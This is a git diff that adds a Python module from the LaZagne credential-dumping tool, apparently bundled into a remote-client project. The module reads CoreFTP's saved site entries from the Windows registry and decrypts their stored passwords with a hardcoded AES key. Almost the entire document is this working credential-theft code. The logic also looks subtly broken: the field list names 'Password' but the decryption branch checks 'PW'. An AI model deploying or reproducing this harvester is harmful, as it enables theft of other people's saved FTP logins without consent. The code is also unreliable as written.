summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py
diff options
context:
space:
mode:
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py')
-rw-r--r--foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py58
1 files changed, 58 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py b/foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py
new file mode 100644
index 0000000..cccfffa
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/sysadmin/coreftp.py
@@ -0,0 +1,58 @@
+# -*- coding: utf-8 -*-
+import binascii
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER
+
+
+class CoreFTP(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'coreftp', 'sysadmin')
+
+ self._secret = "hdfzpysvpzimorhk"
+
+ def decrypt(self, hex):
+ encoded = binascii.unhexlify(hex)
+ aes = AESModeOfOperationECB(self._secret)
+ decrypted = aes.decrypt(encoded)
+ return decrypted.split('\x00')[0]
+
+ def run(self):
+ key = None
+ pwd_found = []
+ try:
+ key = OpenKey(HKEY_CURRENT_USER, 'Software\\FTPware\\CoreFTP\\Sites')
+ except Exception as e:
+ self.debug(str(e))
+
+ if key:
+ num_profiles = winreg.QueryInfoKey(key)[0]
+ elements = ['Host', 'Port', 'User', 'Password']
+ for n in range(num_profiles):
+ name_skey = winreg.EnumKey(key, n)
+ skey = OpenKey(key, name_skey)
+ num = winreg.QueryInfoKey(skey)[1]
+ values = {}
+ for nn in range(num):
+ k = winreg.EnumValue(skey, nn)
+ if k[0] in elements:
+ if k[0] == 'User':
+ values['Login'] = k[1]
+ pwd_found.append(values)
+ if k[0] == 'PW':
+ try:
+ values['Password'] = self.decrypt(k[1])
+ except Exception as e:
+ self.debug(str(e))
+ else:
+ values[k[0]] = k[1]
+
+ winreg.CloseKey(skey)
+ winreg.CloseKey(key)
+
+ return pwd_found